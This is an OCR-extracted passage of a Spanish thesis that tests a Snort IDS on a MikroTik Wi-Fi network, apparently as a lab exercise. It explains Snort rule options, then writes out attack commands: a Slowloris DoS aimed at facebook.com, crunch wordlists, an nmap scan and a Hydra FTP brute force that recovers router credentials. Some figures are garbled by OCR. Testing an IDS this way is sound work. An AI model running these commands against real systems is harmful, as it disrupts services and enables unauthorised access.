Mientras que el protocolo ICMP a pesar de no aplicar a los protocolos de transporte de
datos es relevante en estas reglas para el control de transmision y recepcion de dato,

segtn el informe de Speedcheck.

“ICMP una red de protocolo que es responsable de reportar errores a través de la
generacién y envio de mensajes a la direccion IP de origen cuando hay problemas de
red que son encontrados por el sistema.[1] Los mensajes que genera la ICMP indican
que no se puede acceder a un determinado gateway, router, servicio o incluso host que
deba conectarse a Internet. Basicamente, el destinatario no puede recibir paquetes
durante la transmision. Cualquier dispositivo de red IP puede enviar, generar, recibir y

procesar mensajes de error ICMP” (Speedcheck, 2019)

Lo seguido es la red de origen la cual corresponde a la IP desde donde se origina el
ataque, para el caso de la tabla 1 hay una variable “SHOME_NET” la cual se asignd en la
figura 52, donde basicamente se le entrego el segmento de la red WLAN a dicha variable,

en la regla simplemente se trae la variable que en teoria es la IP que se le asigno.

Seguido se encuentra el puerto de origen, en ocasiones los ataques provienen de
diferentes protocolos y/o servidores los cuales tienen un puerto asignado, por ejemplo, el
puerto por defecto del protocolo FTP es el puerto 21, si se requiriera filtrar por el
protocolo FTP solo se le asignaria el puerto 21 a la regla. Para la regla de la tabla 1 se le
tiene asignada la palabra “any” la cual hace referencia a todos los puertos, estos puertos
también pueden ser asignados bajo una variable preconfigurada, como la variable
$FTP_PORTS que cuenta por defecto en el Snort con la configuracién de los puertos

utilizados comtinmente por FTP.

Después esta el apartado de direccion que bdsicamente direcciona la regla de la IP de
origen a la IP de destino o viceversa. Por ultimo, la red y puerto de destino que cumplen
la misma funcién que la IP y puerto de origen solo que estas abarcan el drea de proteccion

del IDS, es decir el destino del ataque.

Finalizando con la parte de la cabecera de una regla, en su estructura también hay una
seccion llamada Opciones, la cual contiene la informacidn necesaria para tomar la decisiéon

sobre qué hacer cuando se detecta dicho ataque. En esta parte hay 4 diferentes tipos los
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cuales son metadata, payload, non-payload y post-detection.

Tabla 3.

Opciones de las reglas de Snort. (Gomez, 2020)

Categoria
Metadatos
Payload

Opciones
Msg, reference, sid, rev, classtype y priority

Content, nocase, rawbytes, Depth, Offset, distance, within, uricontent, isdataat,
pcre, byte_test, byte_jump, ftpbounce, regex y content-list

Non-payload  Fragoffset, ttl, tos, id, idpopts, fragbits, dsize, flags, Flow, flowbits, seq, ack,

'Windows, iffype, icode, icmp_id, icmp_seq, rpc, ip_proto y sameip

Post-Detection Logto, session, resp, react y tag

Nota. En esta tabla se muestran las opciones que tienen las reglas Snort con sus diferentes protocolos.

Tabla 4.

Opciones Metadata. (Gomez, 2020)

Tag
Reference
url

Bugtrag
Cve

Nessus

mcafee

URL Prefix Ejemplo
reference:’mi referencia”;
http:// reference:url,www3.ca.com/securityadvisor/pes

t/pest.aspx?7id=3648;
http://www.securityfocus.com/bid reference:bugtrag,1656;
http://cve.mitre.org/cgi- reference:cve,2000-0869;
bin/cvename.cgi’name=
http://cgi.nessus.org/plugins/dump.  reference:Nexus, 11110;
php3?id=
http://vi.nai.com/vil/dispVirus.asp? mcafee, reference:10450;
virus_k=

Nota. En esta tabla se muestran las opciones de la regla Metadata.

Tabla 5.
Opciones non-payload. (Gomez, 2020)

Nombre  Descripcion
En los paquetes fragmentados indica la posicién que ocupa el paquete actual dentro del

fragoffset |datagrama original de forma que el destino pueda reconstruirlo. En el primer o un tinico
fragmento el valor es siempre O.

ttl Hace referencia al time to live (tiempo de vida) de un paquete IP

tos Comprueba el valor del campo TOS de la cabecera IP que corresponde al tipo de servicio
respecto a la fiabilidad, velocidad, retardo, seguridad, etc.

id Se utiliza paracomprobar el valor del datagrama IP. Este campo es muy util ya que algunas
herramientas (p.e. exploits, ecaneadores) ponen este campo aun valor determinado.

ipopts Se utiliza para comprobar el campo opcion de la cabecera del datagrama IP.

fragbits Permite comprobar el bit de fragmentacion del datagrama IP.

dsize Se utiliza para comprobar el tamaio del payload.

frag Se utiliza para comprobar si se encuentra activa alguna opcion del frag TCP.
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low Permite indicar la direccién del flujo del tréfico.

flowbits  |Se utilizan en conjuncién con el procesador flow y se utiliza para seguir los
estados de las sesiones del protocolo de transporte.

seq Se utiliza para identificar el nimero de secuencia TCP.

ack Se utiliza para identificar el valor ACK de un paquete TCP.

window Se utiliza para identificar un determinado tamafio de la ventana TCP.

ltype Se utiliza para identificar el tipo de mensaje ICMP.

lcode Se utiliza para identificar el valor del c6digo ICMP.

lcmp_id Se utiliza para identificar el identificador ICMP.

lcmp_seq  |Se utiliza para identificar una determinada secuencia de paquetes ICMP.

rpc Se utiliza para identificar una determinada aplicaciéon RPC.

Ip_proto  [Permite identificar el protocolo de la cabecera del mensaje IP.

same_ip Permite indicar que utiliza la misma direccion de origen y de destino.

Nota. En esta tabla se muestran las diferentes opciones de la regla non-payload.

Tabla 6.

Opciones post-detection. (Gomez, 2020)

Nombre  Descripcion

Logto Permite guardar el paquete en un determinado archivo.

Session Permite extraer datos de usuario de las sesiones TCP.

Resp Permiterealizarunarespuestaactivaaunpaquete. Porejemplo, se puedeenviarun
determinado paquete TCP o ICMP.

React Permite reaccionar ante un determinado paquete. Por ejemplo, puede bloquear un
paquete 0 generar un aviso.

Tag Permite registrar un determinado numero de paquetes después de que se active
una regla

Nota. En esta tabla se muestran las diferentes opciones de la regla post-detection.

Por ultimo, la opcién Payload en la cual se encuentra segin (Gémez, Administracion

de Sistemas Operativos, 2020)

“Content que es la opcidén que permite especificarle a Snort el string que debe buscar

dentro de la parte util de un paquete (data)..., por otro lado, estd pcre que al igual que

content permite indicar el contenido que se debe buscar dentro de un paquete. La

diferencia entre pcre y content es que pcre busca los datos en una linea y content afecta

a todo el paquete.”

Teniendo clara la estructura de las reglas personalizadas se crean las reglas

evidenciadas en la figura 71 para el proyecto en cuestion, donde ademads de los pardmetros

ya explicados previamente se evidencian algunos otros que hace referencia



respectivamente a la identificacion de la regla, por ejemplo, el pardmetro “msg” hace
referencia al tag del reporte del ataque, es decir cuando se genere la alerta enviara el
mensaje deseado para identificar el ataque realizado. Ademds de eso estd el pardmetro
“content” que identifica un contenido especificado como una alerta cuando se evidencie
conciencia con este contenido. Por otra parte, estd el “sid” que es bdsicamente una
identificacion de la regla para el snort, cada regla debe tener una identificacion diferente,
de lo contrario el snort no podrd ejecutarse, este identificados debe ser igual o superior a
1000001 para reglas locales, pues los nimeros previos estdn asignados a las reglas
descargadas con el Oinkcode. Por tltimo, se tiene el pardmetro “rev’ que es un parametro
para darle una version a la regla, este difiere pues en caso de existir una regla con el

mismo objetivo se ejecutara por versiones.
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Figura 71. Reglas configuradas para el snort. (Autoridad propia)

Las reglas que requieren especial atencion son la de “Ataque DoS” y la de “Potencial
Ataque FTP fuerza bruta” pues son el objetivo principal de estudio del proyecto y a su vez
de andlisis para el IDS Snort en la WLAN, estas reglas respectivamente se pueden
apreciar en mds detalle en las figuras 72 y 73, es importante resaltar que cada uno de los
paradmetros, opciones e instrucciones asignas en estas reglas tienen como finalidad filtrar
el ataque evitando falsos positivos y cada una de estas se encuentra especificada

previamente en la construccion de reglas.



Figura 72. Regla deteccion de ataque DoS. (Autoridad propia)

alert -= (m=g:

Figura 73. Regla deteccion de ataque fuerza bruta a FTP. (Autoridad propia)

Ataques generados con Kali Linux
Dentro de las reglas de Snort configuradas para el andlisis mediante el IDS se
encuentran reglas de tipo ICMP las cuales reportan €l envié de un ping a cualquiera de los
hosts autenticados en la WLAN, ademds de eso también se evidencian reglas para el
acceso a URLS especificados, para este caso “www.facebook.com” 'y
“www.youtube.com” con el fin de que en el caso de que alguno de los host autenticados
en la WLAN intenten acceder a estos aplicativos generaria una alarma reportando el
acceso o intento de acceso a los mismo, también se tienen configuradas reglas de tipo TCP,
las cuales generarian una reporte en el caso de que algun host intente generar algun
acceso mediante SSH o FTP a los servidores, en este caso el Router o el IDS. No
obstante, el fuerte el proyecto se enfoca en dos tipos de ataques especiales conocidos

como “Dos” y “Ataque de fuerza bruta a FTP”.

Ataques Dos
“Un ataque de denegacién de servicio (DoS) ocurre cuando un atacante bombardea
continuamente un AP designado o red con solicitudes falsas. Estos causan que los
usuarios legitimos no pueden conectarse a la red e incluso pueden hacer que la red
falle. Estos ataques se basan en el abuso de protocolos como la autenticacién

extensible” (Valle, 2018, pag. 75)

Es decir, es un tipo de ataque que envia repetidas solicitudes de autenticacién a un
servidor o una pdgina web especificada, con el tnico fin de saturar dicho servidor o
pagina web, provocando asi su indisponibilidad de servicios, son ataques comunes en el
mundo de las telecomunicaciones, es por esto por lo cual se le dio gran prioridad a la

identificacion de estos ataques mediante el IDS. Para generarlos se utilizé el sistema
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operativo Kali Linux, el cual cuenta con grandes prestaciones para generar ataques,
dentro de los que encontramos ataques de denegacién de servicios “DoS”. El objetivo es
simple, tener una mdquina virtual con el montaje del sistema operativo Kali Linux
autenticado a la red Wi-Fi generada por el “AP” MikroTik, del tal forma que esté dentro
del segmento de red analizado por el IDS, y de esta forma generar el ataque DoS con el
Kali Linux a algin servidor o host de la red LAN o en su defecto a alguna pagina de
preferencia, de esta forma el IDS deberia arrojar reportes de ataques informando el tipo
de ataque, el tipo de protocolo, la IP de origen y la IP de destino, que para este caso la IP

de origen corresponderia a la IP adoptada por la interface Wireless de la maquina virtual.

Lo primero que se debe realizar es la descarga del directorio “slowloris.pl” con el
comando de la figura 74, el cual cuenta con los ficheros necesarios para generar el ataque

DoS que es segiin Edwing Gabriel Calizaya Ventura en su blog para “blog.calivent”.

“Slowloris es un script que esté disefiado para que desde una PC puede atar facilmente
un servidor web tipico o un servidor proxy al bloquear todos sus hilos mientras

esperan pacientemente por mds datos.

Algunos servidores pueden tener una tolerancia mds pequefia para los tiempos de
espera que otros, pero el Script Slowloris puede compensar eso personalizando los
tiempos de espera. Hay una Funcién agregada para ayudarlo a comenzar a encontrar el

tamafio correcto, tiempos de espera también” (blog.calivent, 2019)

Una vez descargado este directorio se procede a acceder al mismo con el comando de
la figura 75, desde donde podremos generar el ataque al servidor o direccion URL que se
prefiera, este proceso se realiza con el comando de ejecucién de ataques DoS que se
aprecia en la figura 76. En este comando basicamente se estd dando la instruccion con la
palabra “perl” al llamado de lenguaje de programacion para el directorio slowloris.pl
sobre DNS de Facebook por el puerto 80 es decir el puerto HTTP, con la instruccién
“timeout” se asigna el tiempo de enviado del paquete, y finalmente la instruccién “num”

hace referencia al nimero de paquetes que se enviaran.
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root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda
:~# git clone https://github.com/llaera/slowloris.pl.git

Figura 74. Descargar directorio “slowloris. pl”. (Autoridad propia)

Archive Editar Ver Buscar Termina
-# cd slowloris.pl/|}

el directorio “slowloris. pl”. (Autoridad propia)
oris.pl# perl slowloris.pl -dns www.facebook.com -port 88 -time

Figura 75. Cambiar

out 1 -num 1

Figura 76. Comando de ejecucion de ataque Dos. (Autoridad propia)

Una vez generado el ataque la consola de comandos de Kali empezara a imprimir reportes de
autenticacion, para cada uno de los “num” especificados en el comando como se puede ver en la
figura 77, esto con el fin de provocar una saturacion en el servidor o URL en cuestion, para este

caso la saturacion apunta a la pagina web “www.facebook.com”.



:~# cd slowloris.pl/
i~/sl pl# perl slowloris.pl -dns www.facebook.com -port 88 -time
out 1 -num 100
Welcome to Slowleoris - the low bandwidth, yet greedy and poisonous HTTP client b
y Laera Loris
Defaulting to a 5 second tcp connection timeout.
Multithreading enabled.
Connecting to www.facebook.com:88 every 1 seconds with 100 sockets:
Building ckets.
Building sockets.
Sending data.
Current stats: Slowloris has now sent 446 packets successfully.
This thread now sleeping for 1 seconds...

Sending data.
Current stats: Slowloris has now sent 588 packets successfully.
This thread now sleeping for 1 seconds...

Building sockets.

Sending data.
Current stats: Slowloris has now sent 558 packets successfully.
This thread now sleeping for 1 seconds...

Building sockets.
This thread now sleeping for 1 seconds...

Current stats: Slowloris has now sent 126 C s successfully.
This thread now sleeping for 1 seconds...

Building sockets.

Building sockets.

Sending data.

Sending data.
Current stats: Slowloris has now sent 1280 packets successfully.
This thread now sleeping for 1 seconds...

Current stats: Slowloris has now sent 1307 packets successfully.
This thread now sleeping for 1 seconds...

Building sockets.

Sending data.

Building sockets.

Sending data.

Slowloris has now sent 1396 packets successfully.
W sleeping for 1 seconds...

Slowloris has now sent 1400 packets successfully.
sleeping for 1 seconds...

Figura 77. Reportes de ataque Dos. (Autoridad propia)

Ataque de Fuerza bruta a FTP
“Un ataque de fuerza bruta es un método de prueba y error utilizado para obtener
informacién como contrasefias u otros codigos de acceso. El atacante prueba una
variedad de posibles combinaciones de caracteres con la ayuda del software apropiado,
con el objetivo de encontrar la secuencia de caracteres deseada para obtener acceso

ilegal a datos sensibles, parcialmente encriptados” (Spamina, 2019)

Dicho de otra forma, es el repetido intento de autenticacién en un servidor o host
validando todas las combinaciones posibles en cuanto a usuario y contrasefia con el fin de
superar la seguridad proporcionada por un password haciéndole honor a su nombre con un

acceso por fuerza bruta. Para este tipo de ataque también se tomara provecho de Kali Linux
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el cual cuenta con el programa Hydra incluido en su sistema pues este es indispensable

para generar dicho ataque, segtiin Rubén Velasco.

“Hydra es una de las aplicaciones mds conocidas y utilizadas en hacking ético (y por
piratas informdticos) para crackear contrasefias y conseguir acceder de forma no
autorizada a redes y sistemas. Esta aplicacion es totalmente gratuita y de codigo abierto
y cuenta de base con mas de 30 protocolos compatibles (sistemas operativos, webs,
bases de datos, etc) donde intentar conseguir el acceso no autorizado crackeando y

rompiendo contrasenas” (Velasco, 2019)

Hydra permite realizar ataques a diferentes protocolos como lo son FTP, SSH,
TELNET o IMAP, para este caso se realizard el ataque mediante el protocolo FTP, por tal
motivo se requiere la apertura de este protocolo en el servidor que se quiera atacar. El
Router MikroTik es un objetivo claro para este tipo de ataques y atin mads teniendo en
cuenta que no cuenta con un Firewall configurado provocando asi si vulnerabilidad a
cualquier tipo de ataque, este router cuenta con el puerto FTP o puerto 21 abierto, y para
cerciorarse de ello, se ejecuta el comando de la figura 78 el cual realiza un escaneo de la
direccion IP especificada la cual segun la figura hace referencia a la IP del router, este
escaneo mostrara los puertos abiertos de dicho router donde se evidencia claramente la
apertura del puerto FTP.

=# nmap 192.168.10.1
Starting Nmap 7.80 ( https://nmap.org ) at 2020-81-14 21:34 -85
Mmap scan report for 192.168.10.1
Host is up (0.834s latency).
Mot shown: 994 closed ports
PORT STATE SERVICE
21/tcp open fTtp
22/tcp open ssh
23/tcp open telnet
open http
2008/tcp open cisco-sccp
8291/tcp open unknown
MAC Address: 6C:3B:6B:59:97:61 (Routerboard.com)

Mmap done: 1 IP address (1 host up) scanned in 2.10@ seconds

Figura 78. Escaneo de la direccion IP del Router MikroTik. (Autoridad propia)

Sin embargo, no es todo lo que se requiere para generar este ataque, pues aun se deben
generar las posibles combinaciones de usuarios y de contrasefia para el acceso mediante

fuerza bruta, para ello se requieren dos ficheros que contengan millones de palabras con
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las cuales se puedan realizar las posibles combinaciones hasta dar con la acertada, uno
para usuarios y otro para contrasefias, estos ficheros se realizardn con el software
conocido como “Crunch” el cual ya viene incorporado en Kali Linux. Crunch
basicamente toma provecho de letras, nimeros, simbolos y un rango de estos para generar
todas las combinaciones de palabras posibles, los pardmetros son asignados previamente
por el usuario, en el comando de la figura 79 se puede apreciar claramente el uso, donde
inicialmente se hace el llamado del software, seguido se le asigna el rango que se cree
tiene la contrasefia, para este caso es entre 7 y 8 letras en una palabra, luego se le especifica
los caracteres que podria tener la contrasefia, para este caso los numero comprendidos

3

entre 0 y 9, finalmente se trae la opcidén “-0” la cual hace alusién a la ruta donde se
guardara el fichero generado, como se aprecia en la figura el fichero adoptard el nombre
de “Contrasefas” y quedaria guardado en el directorio “Documentos”. Por otra parte, en
la figura 80 se puede ver la creacion del fichero “Usuarios” con Crunch donde se le asigno
un rango de 5 a 6 letras por cada palabra con los caracteres comprendidos por cada una de

las letras del abecedario.

:~# crunch 7 8 1234567890 -0 /root/Documentos/Contrasefias.lst
Crunch will now generate the following amount of data: 980000000 bytes
934 MB

Crunch will now generate the following number of lines: 110000000
22% completed generating output
. completed generating output
65% completed generating output

87% completed generating output

crunch: 100% completed generating output

Figura 79. Creacién del fichero Contrasefias con Crunch. (Autoridad propia)
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:~# crunch 5 6 abcdefghijklmnopgrstuvwxyz -o /root/Documentos/Usuarios.lst
Crunch will now generate the following amount of data: 22336986
2130 MB
2 GB
e TB
0 PB
Crunch will now generate the following number of lines: 328797152

crunch: 7% completed generating output
crunch: % completed generating output
crunch: 22% completed generating output
crunch: 3% completed generating output

crunch: % completed generating output

crunch: 45% completed generating output

crunch: % completed generating output
crunch: completed generating output
crunch: completed generating output
crunch: completed generating output
crunch: 83% completed generating output

crunch: completed generating output

Figura 80. Creacidn del fichero “Usuarios” con Crunch. (Autoridad propia)

Finalmente creados los ficheros necesarios para el ataque de fuerza bruta y con la
certeza del puerto FTP abierto en el objetivo del ataque se procede a realizar el ataque de
fuerza bruta a FTP mediante el comando de la figura 81, donde primeramente se hace el
llamado de la herramienta Hydra, seguida la instrucciéon “-L” la cual especifica de un
fichero los usuarios posibles, seguido la ruta del fichero asignado para usuarios, luego la
opcion “-P” que especifica de un fichero las contrasefias posibles, seguido la ruta para el
fichero de contrasefias y finalmente la direccion IP del objetivo con el protocolo que se
utilizard en el ataque en este caso FTP. Un ataque de fuerza bruta puede tardar bastante
dependiendo de la cantidad de combinaciones, ira imprimiendo los intentos realizados y
el tiempo aproximado para concluir el ataque, pero una vez haya encontrado la
combinacién correcta la imprimird en verde como se aprecia en la figura 81, donde
mostrara claramente el usuario y contrasefia pertenecientes al host, en este caso el router

MikroTik concluyendo asi un ataque de fuerza bruta a FTP exitoso.
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:~# hydra -L /root/Documentos/Usuarios.txt -P /root/Documentos/Contrass «t 192.168.10.1 ftp

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations,

r for illegal purposes.

Hydra (http ‘github.com/vanhauser-thc/thc-hydra) starting at 26820-01-14 21:41:52
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous

session found, to pre writing, ./hydra.r e

o

[DATA] max 16 tasks erver, overall 16 tasks, 12500 login tries (1:3125/p:4), ~782 tries per task

[DATA] attacking ftp 2.168.10.1:21/

[STATUS] 766.00 tries/min, 766 _tr in 00;01h, 11734 to do in 80:16h, 16 active
[21][ftp] host: 192.168.10.1 login: admin password: 12

[STATUS] 784.33 tries/min, 2353 tries in 00:03h, 10147 to do in ©0:13h, 16 active

Figura 81. Comando para generar ataque de fuerza bruta a FTP. (Autoridad propia)

Para confirmar, en la misma consola de Linux se puede acceder al router MikroTik con
el comando de la figura 82, donde una vez ejecutado intentara realizar un acceso al Router
MikroTik mediante FTP solicitando usuario y contrasefia de acceso, y como se puede
apreciar en la misma figura con los datos proporcionados por Hydra se consigue un
acceso exitoso.

~# Ttp 192.168.160.1
Connected to 192.168.10.1.
220 Router IDS FTP server (MikroTik 6.46.1) ready
Mame (192.168.10.1:root): admin
331 Password required for admin

ord:
User admin logged in
ote system type is UNIX.

Figura 82. Acceso FTP a Router MikroTik. (Autoridad propia)

Fase de analisis

Configurados los equipos necesarios, autenticados los dispositivos en la red Wi-Hi,
asignas las reglas necesarias para el Snort y ejecutados los ataques pertinentes, el IDS
Snort empezaria a cumplir su funcidén, identificar los ataques segin las necesidades del
usuario y las reglas previamente configuradas. En el experimento realizado con ataques
DoS se pudo evidenciar en el reporte de Snort una saturacion de ataques en la red, pues
como ya se menciono los ataques DoS son repetidos intentos de autenticacion o ingreso a
un servidor o sitio web al mismo tiempo con el unico fin de saturarlo, en este caso
Facebook, debido a esto Snort presenta varios reportes. En la figura 83 se puede apreciar
como el IDS reporta ataques de denegacion de servicios (Ataque DoS) bajo el protocolo
TCP, estos ataques son originados desde la direccion IP adoptada por la maquina virtual

segun dichos reportes, en la figura 84 se pude confirmar la direccién IP del servidor Kali




Linux bajo el comando “ifconfig” la cual concuerda con los reportes de Snort, ademads de
esto se puede ver como el destino del ataque son DNS publicos donde se alojan los
servidores de Facebook y en este caso concuerda con el ataque generado por Kali el cual
pretende saturar la padgina web de Facebook, también se puede ver la fecha y hora en la
que se generd el ataque con su respectiva identificacion de reporte, esta es utilizada para
filtrar el reporte en el log de Snort en caso de requerirlo, finalmente se encuentra la

clasificacion del ataque que para esta ocasion es “Denegacion de servicios™.

EP 192,168,102 - PuTTY

D £
D £
D £
] bl
D bl
D bl
D f
D f
D £
D £
D £
D £
D £
D I
] bl
D bl
D bl
D f
D f
D £
D £
D £
D £
D I
] bl

Figura 83. Repore de atqe Dos. (Autoridad propia)
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:~# ifconfig
eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.16.251 netmask 255.255.255.0 broadcast 192.168.10.255
inetb feB0::aP0:277T:fe3a:7405 prefixlen 64 scopeid 0x20<link=>
ether 08:00:27:3a:74:05 txqueuelen 1000 (Ethernet)
RX packets 34895 bytes 19487673 (18.5 MiB)
RX errors @ dropped @ overruns @ frame @
TX packets 28375 bytes 1988353 (1.8 MiB)
TX errors @ dropped @ overruns © carrier 8 collisions @

lo: flags=73<UP,LOOPBACK,RUNNING>= mtu 65536
inet 127.0.0.1 netmask 255.0.8.0
ineté ::1 prefixlen 128 scopeid 0x18<host=>
loop txqueuelen 10800 (Local Loopback)
RX packets 24 bytes 1356 (1.3 KiB)
RX errors & dropped @ overruns @ frame 0
TX packets 24 bytes 1356 (1.3 KiB)
TX errors @ dropped @ overruns © carrier @ collisions @

Figura 84. IP de la maquina virtual. (Autoridad propia)

Por otra parte, para el experimento realizando en el ataque de fuerza bruta a FTP se puede
apreciar en la figura 85 al igual que en el ataque DoS varios reportes por parte de Snort, pues el
ataque conocido por fuerza bruta también genera repetidos acceso al host o servidor que estd siendo
atacado a diferencia de que en el ataque de fuerza bruta los genera uno a uno con el fin de validar
diferentes combinaciones de usuario y contrasefia hasta dar con la correcta y es aqui donde actia
IDS Snort identificando un uso inusual de accesos al servidor con repetidas combinaciones
erréneas, provocando el reporte (Potencial Ataque FTP fuerza bruta) en el cual se puede apreciar
la IP de origen la cual corresponde a servidor Kali Linux como se puede evidenciar en la figura 84
y la IP de destino, la cual corresponde al router MikroTik como se evidencia en la figura 58, pues
es la IP configurada para red WLAN donde se encuentran todos los host autenticados, es decir la
puerta de enlace para estos, ademds de eso se encuentra la clasificacion del ataque que para este
caso corresponde a “Intento de obtener el privilegio de administrador” por ultimo su fecha, hora e

identificacion del reporte.

P 192.168.10.2 - PuTTY — m] *

1P > ) ta [**] Atte:

igura 85. Reporte de ataque fuerza ruta a FTP. (Autoridad propia)
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Los ataques DoS y los ataques de fuerza bruta son dos tipos de ataques comunes en el mundo
de las telecomunicaciones y el estudio de estos en el IDS Snort es una fuerte validacién de sus
prestaciones a nivel de una red WLAN, la vulnerabilidad de los servidores y los crackers o hackers
a la espera de dichas vulnerabilidades son situaciones que se presentan todos los dias en redes
corporativas, un IDS para el anélisis y prevencion de fraudes o perdidas de servicios o informacién
es una pieza clave y el IDS Snort con su reporte detallado al instante de ser generado el ataque, con
la informacién necesaria para identificar el atacante e identificar con exactitud el host que esta
siendo victima presta la tranquilidad de una red LAN o para esta caso WLAN segura, el log de
Snort permite llevar un estudio detallado de los ataques y respectivos reportes gracias a la
identificacion que le asigna a cada uno de ellos ademds de la identificacion de fecha y hora del
ataque, esto puede favorecer a la implementacion de un IPS o Firewall en la red pues al tener un
reporte de los posibles ataques a los que esta o ha estado expuesta la red se puede llegar a generar

reglas de prohibicion por parte del administrador de la red en dicho Firewall o IPS.

Ademas de esto dentro de las reglas configuradas en el Snort se encuentran reglas para control
de trifico y prevencion de acceso a los servidores de la red mediante SSH y FTP estas reglas se
pueden apreciar en la figura 71, donde se exponen conexiones al Router MikroTik desde la red
LAN y accesos a paginas web como Facebook y YouTube, con esto se puede apreciar que Snort
también presta funcionalidades de control de tréifico de la red, donde podemos controlar el acceso
a sitios web o servidores desde host que no lo tienen permitido y host que si lo tienen, llevando a
una toma de decisiones por parte del administrador de la red para permitir o bloquear dichos
accesos, en la figura 86 se encuentran evidencias de acceso a estas paginas web desde un dispositivo
moévil con su respectiva direccion IP, también se pueden apreciar dos host también con sus
direcciones IP, uno accediendo a las paginas web controladas y también accediendo al Router
MikroTik mediante el protocolo FTP y otro host realizando un intento de acceso al Router
MikroTik mediante el protocolo SSH, estos accesos a los cuales el IDS Snort le tiene un control
generarian un alarma en el momento de ser aplicada su accidn, estas alarmas se pueden apreciar en
la figura 87, donde en comparacion con la figura 86 se encontrarian evidentes las direcciones IP de
origen y destino o en su defecto los DNS donde se encuentran alojados los sitios web a los que se

les estd dando control, YouTube y Facebook.
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< STATUS

SIM card

IMEI information

:~#|ssh 192.168.10.1
authenticity of ho '192.168.10.1 (192.168.10.1)"'
key fingerprint is S r/rLhB/uEH@BE
ire you want to continue connecting (yes/no/[fingerprint])
# 1fconfig
0 =4163<UP, BROADCAST , RUNNING,MULTICAST= mtu 1560
PR LISTANSS 9 255.255.255.0 broadcas 168.10.255
inete teB80::ab0: i : 7405 prefixlen 64
ether @ 0 & 0 ] elen 1000 (Eth
RX 46919 bytes 204541 (19.5 MiB)
RX errors 8 dropped @ overruns @ frame ©
TX pa >ts 522 bytes 1939 (2.7 MiB)
errors © dropped © overruns @ carrier 8 collisions ©

3<UP,LOOPBACK, RUNNING> mtu 65536
1 netmask 255.6.0.0
£l P len 12 copeid O<host=
txqueuelen 1000 ( al Loopback)
RX packets 24 bytes 1356 (1.3 KiB)
X errors @ dropped 8 overruns ® frame 0
© YouTube 4 TX packets 24 bytes 1356 (1.3 KiB)
TX erro @ dropped © overruns @ carr 0 collisions ©

Stories

YouTube

nni

reless LAN ade

Figura 87. Reporte de Snort. (Autoridad propia)



Conclusiones

En ocasiones las redes corporativas cuentan con DNS privados es decir con aplicativos
funcionales tnicamente dentro de la red LAN, hay casos en los que las redes corporativas cuentan
con servidores para la entrega de aplicativos a cada una de sus tiendas de manera local, con el fin
de que estos aplicativos no sean alcanzados fuera de sus Firewall, promoviendo la disponibilidad
de estos dependiendo tinicamente de su administracion, si un atacante cuenta con la posibilidad de
acceder a esta red LAN podria generar una indisponibilidad de los aplicativos y asi mismo de las
sucursales y de manera anénima, provocando un caos para la compaiifa, es aqui donde el IDS
cumple un papel fundamental pues de manera simple informara a los administradores de la red de
donde proviene el ataque y que tipo de ataque es, para que con esto se tomen medidas sobre el

asunto, y pueda darse seguridad en lared, que a fin de cuentas es el principal objetivo.

Hay corporaciones en las que sus redes no solo cuentan con DNS privados, sino que también
los routers que administran cada una de sus sedes son router MikroTik, el proyecto propone
implementar un IDS sobre la red LAN de estos mismos dispositivos, lo que permite un optimo
funcionamiento a la hora de analizar el trafico de la red con solo permitirle una interface en el
router al IDS, como se presentd a lo largo del proyecto, entidades que tienen de por medio
administracion de grandes cantidades de dinero cuentan también con grandes posibilidades de ser
atacados. Controlar la seguridad de una entidad tan importante no solo con el firewall del MikroTik
sino también con un IDS, que ni siquiera se haria notar en la red serfa un avance importante para

la seguridad de su de sus servicios, asignando las reglas segtin las necesidades.

Pero aqui no terminan las grandes prestaciones de un IDS, pues como se pudo evidenciar, si se
quisiera llevar un control de acceso a aplicativos en una oficina, aplicativos como lo son las redes
sociales el IDS informaria de manera inmediata el acceso a estas y la IP de origen, provocando asi
un control total de los equipos administrados por un ingeniero, ademds de eso la seguridad de
servidores como los son PBX, aplicativos, bases de datos, routers, entre otros es prioridad para los
administradores de una red, poder controlar con un IDS el acceso mediante FTP o SSH que son
protocolos comunes de acceso a estos tipos de servidores, monitoreando bajo alarmas generadas
por el IDS simplificaria el trabajo ampliamente y aumentaria la seguridad de la red de manera

importante.
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Ademas de esto, como ya se menciono este IDS no solo no se harfa notar fisicamente sino que
tampoco a nivel de RED, pues su consumo a nivel de trafico en la red ni siquiera se haria notar, el
software de Snort esta implementado en un sistema operativo en base debian, disefiado para el
maximo aprovechamiento de los recursos de la Raspberry al que decidieron llamar Raspbian, el
cual no se aprovecho solo con ser disefiado para el maximo rendimiento sino que también se tomo
provecho de la versidn lite, la cual al no contar con interface grafica lo recurso de la Raspberry son

aun mds aprovechados.

Un IDS es una herramienta importante para cualquiera drea corporativa y deberia ser
fundamental al igual que un firewall, las prestaciones que ofrece cumplen y superan las necesidades
de seguridad de un drea corporativa o de cualquier proyecto de negocio. Ain més en una red WiFi
a la cual se le dio especial prioridad con el proyecto, pues la contrasefia de una red WiFi no se suele
manejar con la discrecion y seguridad que se requiere, se comparte el acceso a internet como si
fuera una taza de café y no se sabe con certeza las verdaderas intereses del acceso, pues al formar

parte de lared WLAN se abre un mundo de posibilidades dentro de la misma.

Por ultimo, la gran posibilidad de generar reglas personalizadas conforme a lo que se requiere
identificar como un ataque es una gran prestacion del IDS Snort pues en ocasiones se requiere
filtrar ciertos tipos de ataques o de alertas para la red, o también re requiere filtrar ciertos
dispositivos ya sea a nivel de destino o a niel de origen, con esto se puede identificar los ataque
que deseen sobre los equipos que se deseen y con el reporte como se desee, todo esto como se pudo
apreciar a lo largo del proyecto, generando las reglas conforme a la necesidad y generando los
reportes que se preferian, con cada una de sus respectivas pruebas realizadas y con resultados

satisfactorios.

73



74

Referencias

Acrylic. (2014,  Diciembre 14).  Acrylic. Retrieved  from  Acrylic:
https://www.acrylicwifi.com/blog/que-es-wpa-psk-tkip-ccmp/

AibiTech. (2019, 11 21). AibiTech. Retrieved from AibiTech: https://www.aibitech.com/router-
routerboard-mikrotik-rb95 1 ui-2hnd-wireless-1000mw-24ghz-8021 1bgn-5-ethernet- 1usb-
14-mikrotik-3481.html

Andrés, R. (2016, 04 03). ComputerHoy. Retrieved from  ComputerHoy:

https://computerhoy.com/paso-a-paso/software/que-es-kali-linux-que-puedes-hacer-41671

Anrrango, R. (2014, Septiembre 30). configurarmikrotikwireless. Retrieved from
